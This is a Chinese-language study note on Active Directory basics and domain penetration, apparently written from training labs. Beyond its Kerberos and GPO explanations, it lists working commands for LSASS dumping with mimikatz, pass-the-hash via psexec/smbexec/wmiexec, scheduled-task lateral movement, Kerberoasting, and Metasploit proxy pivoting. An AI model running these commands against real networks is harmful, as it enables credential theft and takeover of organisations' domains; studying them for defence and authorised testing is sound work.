---
# System prepended metadata

title: AD
tags: [域滲透]

---

# *AD基礎知識*
與域交互的例子:使用一個用戶名和密碼就能在大學或工作中所有電腦登入，因為身分驗證會轉發回AD，在那邊檢查憑據，不需要把憑據存在每台電腦中就能在整個網路使用

### 連接
`rdesktop $ip`
`xfreerdp /v:MACHINE_IP /u:attacker /p:Password321`
用戶名:THM\Administrator  -> 指定使用THM域上的管理員用戶登錄
密碼:Password321
### AD
1. DC 是运行 AD DS 服务的服务器，负责存储和维护活动目录数据库，处理认证和授权请求。
1. AD DS 是 Windows 活动目录服务，用于存储和管理网络对象的信息。
1. AD CS 是 Windows 证书服务，用于创建和管理数字证书，提供安全性和身份验证。

Active Directory 域服務 (AD DS)是windows的核心，充當目錄，保存所有`對象(objects)`的訊息

Machines:對於加入AD域的每台機器，都會創建一個對象。機器也被視為"security principals"       
(安全主體)並且會被分配一個帳戶

- AD DS
  - Users
    - People
    - Services
  - Machines
    - 1
  - Security Groups (可用於向用戶授予特定權限)
     - Domain Admins     域管理員
     - Server Operators  服務器運營商
     - Backup Operators  備份操作員
     - Account Operators 帳戶運營商
     - Domain Users      域用戶
     - Domain Computers  域計算機
     - Domain Controllers域控制器

-----  

 OU是允許您對用戶和計算機進行分類的容器對象。
 用戶一次只能是單個 OU 的一部分。
 Delegation(委派)可以在AD中把特定權限授予用戶或群組,使他能執行特定的管理操作或訪問特定資源
 ![](https://hackmd.io/_uploads/BySeYlc2n.png)
 Group Policy Objects (GPO),可以包含針對用戶或計算機的策略
 把GPO創建在 Group Policy Objects下,然後把GPO鏈結到要應用的位置(通常是OU)
 ![](https://hackmd.io/_uploads/H14pNWq2h.png)
 在上圖中看到已經創建了 3 個 GPO。其中， Default Domain Policy 和 RDP Policy 鏈接到整個 thm.local 域， Default Domain Controllers Policy 鏈接到 Domain Controllers 僅限 OU。需要記住的重要一點是，任何 GPO 都將應用於鏈接的 OU 及其下的任何子 OU。例如， Sales OU 仍將受到 Default Domain Policy 的影響。

GPO 通過名為 SYSVOL 的網絡共享分發到網絡，該共享存儲在 DC 中。
域中的所有用戶通常都應有權通過網絡訪問此共享，以定期同步其 GPO。
SYSVOL 共享指向網絡中每個 DC 上的 C:\Windows\SYSVOL\sysvol\ 
強制任何特定計算機立即同步其 GPO`gpupdate /force` 

有分管電腦和管user:![](https://hackmd.io/_uploads/SkDJ2vsn2.png)
新建一個GPO之後,可以右建編輯去配置策略,然後在右鍵OU去連接現有的GPO
![](https://hackmd.io/_uploads/SJL0kuo3n.png)

GPO應用於根域也可以影響根域中所有的子OU,(可以繼承策略)  

已經配置Auto Lock Screen到根域,Restrict Control Panel Access到Marketing 、 Management 和 Sales OU:
![](https://hackmd.io/_uploads/S1yS-uj3n.png)

最後可以強制立刻同步GPO
![](https://hackmd.io/_uploads/S1TWzuih2.png)

確實配置成功Marketing Ou中的Mark無法打開控制台:
![](https://hackmd.io/_uploads/Hy4JE_oh2.png)

![](https://hackmd.io/_uploads/ryRazuonh.png)  

----
### 身分驗證
域中,所有憑證都在DC中,DC使用kerbeors(最新的默認協議)和NetNTLM(為了兼容性保留的舊協議)進行身分驗證,用戶使用域憑據對服務進行驗證時,服務要要求DC來驗證是否正確
#### Kerberos驗證過程:
1. 使用用戶的帳號密碼生成的HASH加密時間戳,發送到密鑰分發中心(KDC)去請求TGT(票證授予票證)

2. KDC 返回使用HASH加密session key和`使用krbtgt的HASH加密`的TGT到客戶端

3. 提供客戶端用戶名、服務的SPN 、 TGT以及使用session key加密的時間戳,向KDC請求TGS(票證授予服務票證)
4. KDC返回TGS給用戶
5. 客戶向服務請求訪問權限
6. 服務給課務訪問權限(server解密TGS,檢索會話密鑰解密客戶端用戶名,再解查是否有足夠權限)
#### 簡化
客戶端認證

步驟1：客戶端向KDC（AS）請求TGT

步驟2：KDC（AS）將TGT返回給客戶端。

客戶授權

步驟3：客戶端向KDC請求TGS票證（TGS）

步驟4：KDC（TGS）將TGS票據返回給客戶端

訪問請求

步驟5：客戶端請求訪問服務服務器

第六步：只要客戶端有權限，就授予訪問權限

 
-----
工作組 域環境 單域,父域子域,樹,森林

linux也可加入域 但是要裝ldap


## Domain

每個domain name(Доменное имя)都有一個DNS name
例如 contoso.com 同時有內部域 ->contoso.local
![image](https://hackmd.io/_uploads/HyHFhqXop.png)
從 Powershell 確定使用者目前的域
```powershell!
(Get-WmiObject Win32_ComputerSystem).Domain

```

除了DNS name還有 NetBIOS可以識別域名。    
例如，CONTOSO\Administrator :第一部分是 NetBIOS 名稱，第二部分是使用者名稱    

還能透過SID（安全性標識符）來識別。 SID 更多地由程式（Windows API）使用，而不是由使用者使用。
```powershell!
Get-ADDomain | select DNSRoot,NetBIOSName,DomainSID

```
![image](https://hackmd.io/_uploads/BJpFa5Qoa.png)


## Forest
根域contoso.local 和兩個子域
![image](https://hackmd.io/_uploads/r1m6gjQs6.png)
這個呈現的樹域被稱為森林,森林名和樹的根域名相同(contoso.local 森林)
![image](https://hackmd.io/_uploads/SkrLWjXsa.png)  

森林中的每個域都有自己的資料庫和DC,林中的使用者可以存取林中的其他域

網域/林也可以有自己的“版本”,稱為功能模式,模式名稱基於Windows Server運行它們所需的最低作業系統,不同版本可能有新功能。
![image](https://hackmd.io/_uploads/rJ08IMN2p.png)

`nltest /domain_trusts 查看域的信任關係`

-----

單域:
![](https://hackmd.io/_uploads/B1buaxw33.png)
dc在192.168.3的網段
webserver 有兩個網卡 3.31和230.131 230對外出口 進去之後透過3.31實現內網攻擊
* 基本信息收集
了解當前服務器的基本信息，為後續判斷服務器角色，網路環境等做準備
```
systeminfo 詳細信息
net start啟動服務 ->可以從服務判斷角色
tasklist進程列表
schtasks計畫任務
加載不出來代表權限不夠
```
* 網路信息收集
了解當前服務器的網路接口訊息，為判斷當前角色,功能,網路架構做準備
```
ipconfig /all 判斷群在域 -dns
net view /domain判斷存在域
net time /domian判斷主域(域控)
netstat -ano當前網路端口開放
nslookup域名 追蹤來源地址
```
* ipconfig /all 可以判斷有無域環境
有:![](https://hackmd.io/_uploads/rk-8bZw32.png)(god.org)

無:![](https://hackmd.io/_uploads/r1ZvZWw3h.png)   

----
* net view /domain
有:![](https://hackmd.io/_uploads/Hyz_f-Pn2.png)
無:![](https://hackmd.io/_uploads/S11H7ZPnh.png)

----
因為一般以DC的時間為準
DC名為:OWA2021CN-GOD.god.org
使用nslookup查看dc的ip 或用ping
![](https://hackmd.io/_uploads/ByeNQ-P32.png)    

----
* 用戶信息收集
了解前主機或域環境下的用戶和用戶組信息,便於**後期利用憑據**  

#### 默認常見用戶身分:
* 主要攻擊Domain Admin和Enterprise Admins
1. Domain Admins:域管理員(默認對DC有完全控制權)
1. Domain Computers:域內機器
1. Domain Controllers:域控
1. Domain Guest:域訪客,權限低
1. Domiain Users:域用戶
1. Enterprise Admins:企業系統管理員用戶(默認對DC有完全控制權)

* 相關用戶收集操作命令
蒐集用戶名,如果有密碼就能操作
```
whoami /all                             用戶權限
net config workstation                  登入信息
net user                                本地用戶
net localgroup                          本地用戶組
net user /domain                        獲取域用戶信息
net group /domin                        獲取域用戶組信息
wmic useraccount get /all               涉及域用戶詳細信息
net group "Domain Admins" /domain       查域管理員帳戶
net group "Enterprise Admins" /domain   查管理員用戶組
net group "Doamin Controllers" /domain  查域控
```
`net user`和`net user /domain `的差別
![](https://hackmd.io/_uploads/S1J9dZwn2.png)

----
* 憑據蒐集
權限要夠
用戶hash,明文獲取 -> mimikatz(win),mimipenguin(linux)
各種協議服務口令獲取->LaZagne(all),XenArmor(win)

1. 站點源碼備份文件,數據庫備份
1. 各類數據庫web管理入口,如phpmyadmin
1. 瀏覽器保存密碼和cookie
1. 其他用戶會話,3389和ipc$連接紀錄,垃圾桶
1. windows保存wifi密碼
1. 網路內部各種帳號密碼,如:email,vpn,ftp,oa

* 探針主機域控架構服務
  
1. 為後續橫向思路做準備

* 域控名及地址信息
`net time /domain nslookup ping`

* 域內存活主機及地址信息
1. fscan 第三方工具
1. for /L %I in (1,1,254) DO @ping -w -n 1 192.168.3.%I|findstr "TTL=" 自帶內部命令
1. nmap masscan第三方powershell腳本nishang empire等

powershell滲透框架
使用powershell->nishang舉例
```
#導入
Import-Module .\nishang.spm1
#執行策略
Set-ExecutionPolicy RemoteSigned
#獲取模塊nishang的命令函術
Get-Command -Module nishang
#獲取常規電腦信息
Get-Information
#端口掃描
Invoke-PortScan -StartAddress 192.168.3.0 -EndAddress 192.168.3.100 -ResolveHost-SCanport
#其他功能
```
## 域橫向批量at&schhtasks&impacket
### 橫向滲透明文傳遞
獲取某域主機權限->mimikatz得到密碼(明文,hash)->用到信息收集裡面域用戶的列表當作用戶名字典,搭配密碼明文當作密碼字典->嘗試連接->創建計畫任務(at|schtasks)->執行文件(後門或相關命令)

利用流程: 135,445 PORT
1. 建立IPC連接到目標   
1. copy要執行的命令腳本到目標
1. 查看目標時間,創建計畫任務,定時執行腳本
1. 刪除IPC連接
```
net use \\server\ipc$"password" /user:username#工作組
net use \\server\ipc$"password" /user:domain\username #域內
dir \\xx.xx.xx.xx\C$\                        #查看文件列表
copy \\xx.xx.xx.xx\C$\1.bat 1.bat            #下載文件
copy 1.bat \\xx.xx.xx.xx\C$                  #複製文件
net use \\xx.xx.xx.xx\C$\1.bat /del          #刪除IPC
net view xx.xx.xx.xx                         #看對方共享
```

* 建立IPC失敗原因
1. 目標不是NT或以下的系統
1. 沒打開IPC$共享
1. 未開啟139,445端口,或是有防火牆
1. 命令,帳號密碼錯誤

* at<Windows2021
```
net use\\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator    #建立IPC連接
copy add.bat \\192.168.3.21\c$        #複製執行文件到目標
at \\192.168.3.21 15:47 c:\add.bat    #添加計畫任務
```    
                 
* schtasks>=Windows2012
```
net use\\192.168.3.32\ipc$ "admin!@#45" /user:administrator  #建立IPC連接(本地administrator)
copy add.bat \\192.168.3.21\c$        #複製執行文件到目標
schtacks /create /s 192.168.3.32 ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F   #添加計畫任務
```
### hash傳遞
impacket-atexec
    
透過不斷蒐集憑證，最後能寫個腳本批量橫向
    
## 域橫向smb&wmi明文或hash傳遞
### 知識點1:
    win2012以上默認關閉wdigest,無法從內存中獲得明文密碼
           以下版本如果安裝KB2871997,也無法獲得

1. 利用hash傳遞
1. 利用其他協議(SMB,WMI等)
1. 用註冊表操作開啟Wdigest Auth獲取
1. 利用工具或第三方平台(hashcat)獲取    
    
--------------
### 知識點2:
LM hash及NTLM Hash,個人系統在Windows vista,服務器系統windows 2003後,認證方式均為NTLM Hash   
在哈希傳遞時根據需要選擇獲取,先嘗試NTLM
#### 註冊表修改
```
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredentila /t REG_DWORD /d /1 /f
```     
-----
### procdump+mimikatz獲取    
    
**procdump(windows官方)執行:**
procdump -accepteula -ma lsass.exe lsass.dmp
    
    
上傳procdump導出lasaa.dmp之後可以傳回本地mimikatz    
    
**mimikatz執行:**    
``` 
privilege::debug
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
```    
----
## 利用SMB
可參考impacket中的工具(impacket不需要明文)
psexec在pstools裡(官方)
psexec第一種 先有IPC連接,需要明文或HASH
```
1. net use\\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator
2. psexec \\192.168.3.21 -s cmd
```
psexec第二種:不用建立IPC直接提供明文帳戶密碼
```
psexec \\192.168.3.21 -u administrator -p Admin12345 -s cmd
psexec -hashes :$HASH$ ./administrator@10.1.2.3
psexec -hashes :$HASH$ domain/administrator@10.1.2.3
    
psexec -hashes :518b98ad4786a53695dc997aa02d455c ./administrator@192.168.3.32
```
-----
smbexec無需先ipc連接,明文或hash傳遞
```
smbexec god/administrator:Admin12345@192.168.3.21
smbexec ./administrator:admin!@#45@192.168.3.32
smbexec -hashes "$HASH$" ./admin@192.168.3.21
smbexec -hashes :$HASH$ domain/admin@192.168.3.21
```
-----
    
## WMI服務利用(wmiexec,wmic,cscript)
通過135端口利用,支持明文或hash,且不會在目標日誌系統留痕跡
    
自帶wmic 明文傳遞;無回顯
`wmic/node:192.168.3.21 /user:administrator /password:Admin1265 process callcreate "cmd.exe /c ipconfig >C:\1.txt"`
自帶cscript明文傳遞無回顯   
`cscript //nologo miexec.vbs /shell 192.168.3.21 administrator Admin12345`
 
impacket 有回顯
> wmiexec ./administrator:admin!@#45@192.168.3.32 "whoami"
> wmiexec god/administrator:admin!@#45@192.168.3.32 "whoami"
> 
> wmiexec -hases :518b98ad4786a53695dc997aa02d44c ./administrator:admin!@#45@192.168.3.32 "whoami"
> 
>     
> wmiexec -hases :518b98ad4786a53695dc997aa02d44c god/administrator:admin!@#45@192.168.3.32 "whoami"
    
----
## PTH PTT PTK
    
mimikatz也能進行pth和ptk    
    
pass the hash(利用LM和LTLM)
    
ticket(票據憑證TGT)(利用kerberos協議攻擊)
    
key(aes keys )(mimikatz-->sekurlsa::ekeys獲取aes256的值)  
    
----
     
1. 如果禁用NTLM,psexec無法使用ntlm hash遠程連接,使用mimikatz還是能攻擊成功對於8.1/20122,安裝補丁kb2871997的win7/2008r2/8/2012等,可以使用AES KEYS代替NT hash實現PTK
--------

總結:KB2871997補丁後影響  
1. pth:沒打補丁用戶都可連接,打了之後只能administrator
1. ptk:打了補丁用戶都用aes256連接
--------
### PTT
工具:mimikatz,kekeko
1. 漏洞:MS14-068(通過漏洞生成憑據)`MS14-068编号CVE-2014-6324，补丁为3011780，该漏洞允许域内任何一个普通用户，将自己提升至域管权限`
1. 金票,銀票

先清空當前所有憑證(klist purge),然後將票據注入內存就可以利用。***類似cookie***
-----------   
### RDP 判斷3389有無開啟    
    
明文密碼或HASH密文可通過RDP連接
--------
### kerberos中的SPN  hackthebox中active這台可練習    
每個伺服器實例都必須登錄唯一的服務主體名稱 (SPN) 

SPN主要攻擊服務

橫向SPN流程->探針->請求->導出->破解->重寫

如果有一個域用戶帳戶註冊的任意SPN,該帳戶明文密碼的NTLM HASH可用於創建服務票證,是Kerberoasting的關鍵    

使用有效域用戶的身分驗證票證(TGT)去請求目標服務的服務票證。DC在AD中查找SPN並使用與SPN關聯的服務帳戶加密票證,以便服務驗證用戶是否可以訪問。
    
請求的kerberos服務票證加密類型是`RC4_HMAC_MD5`,服務帳戶的NTLM密碼哈希用於加密服務票證
可以將收到的TGS離線破解,得到目標服務帳號的HASH稱為Kerberoasting
總結:
```
1. 查询SPN，找到有价值的SPN，需要满足以下条件：
     >该SPN注册在域用户帐户(Users)下
     >域用户账户的权限很高
1. 请求TGS
1. 导出TGS
1. 暴力破解
```
```
查看当前域内的所有SPN：

 setspn -q */*
    
查找特定服務

 setspn -q */* |findstr "MYSQL"
    
查看test域内的所有SPN：

 setspn -T test -q */*

(1)請求指定TGS
    
$SPNName = 'MSSQLSvc/DC1.test.com'
Add-Type -AssemblyNAme System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName
    
(2)请求所有TGS
Add-Type -AssemblyName System.IdentityModel  
setspn.exe -q */* | Select-String '^CN' -Context 0,1 | % { New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() } 

klist查看内存中的票据，可找到获得的TGS
    
    
使用mimikatz導出

kerberos::list /export
    
破解

./tgsrepcrack.py wordlist.txt test.kirbi

重寫(不一定會成功 主要破解出密碼就好)

使用kerberoast.py重新生成票據
mimikatz kerberos::ptt xxxx.kirbi #生成票據注入內存,這樣下次請求就不用驗證
```
    
## 使用CS

可以加載更多插件去提權
cobalt strike->script manager->load->Unload
### 信息收集
    beacon>

    net view 之後可以到view->target查看紀錄
    net computers
    net dclist 獲取DC列表
    net <tab>查看更多

 access -> run mimikatz -> 可以view中察看credentials 
    ![](https://hackmd.io/_uploads/ByK7UWK2h.png)

可以在targets中嘗試攻擊
    ![](https://hackmd.io/_uploads/BkrdIbK2h.png)  
    
![](https://hackmd.io/_uploads/Hy2OIbYh2.png)  

可自己上傳工具至目標機使用
## 內網穿透
### socks代理
解決網路通信(內網有外網,內網無外網,內網有過濾)
可以反向出來 因為我們的IP是唯一的
![](https://hackmd.io/_uploads/r1ZHIqKh2.png)
frp自建跳板-兩個內網通訊

工具範例
```
nps
frp
ngrok
proxychains
chisel
```
![](https://hackmd.io/_uploads/r1_Bnqtn3.png)
進到target 1之後靠192.168.22到target 2

msf使用run get_local_subnets獲取網路接口發現有兩個網卡
    ![](https://hackmd.io/_uploads/B1njC9Fn3.png)
查看路由地址run autoroute -p
添加路由地址run autoroute -s 192.168.22.0/24
開啟本地代理:
```
use auxiliary/server/socks4a
set srvport 2222
exploit
```
配置proxychains後攻擊target2
/etc/proxychains.conf
sock4 192.168.76.132 2222
proxychains nmap  


    
### 隧道
解決防火牆(流量分析&監控)
網路層(IPV6 ,ICMP)
傳輸層(TCP,UDP,端口轉發)
應用層(SSH,HTTP/S , DNS)

### 需要先檢測協議是否支持
1. TCP`nc <ip : port>`
1. HTTP(curl看能不能連外網)
1. ICMP(ping)
1. DNS(nslookup或dig)
    
    
##CS & MSF 連動
https://www.freebuf.com/articles/web/266568.html
https://blog.csdn.net/nicai321/article/details/122854360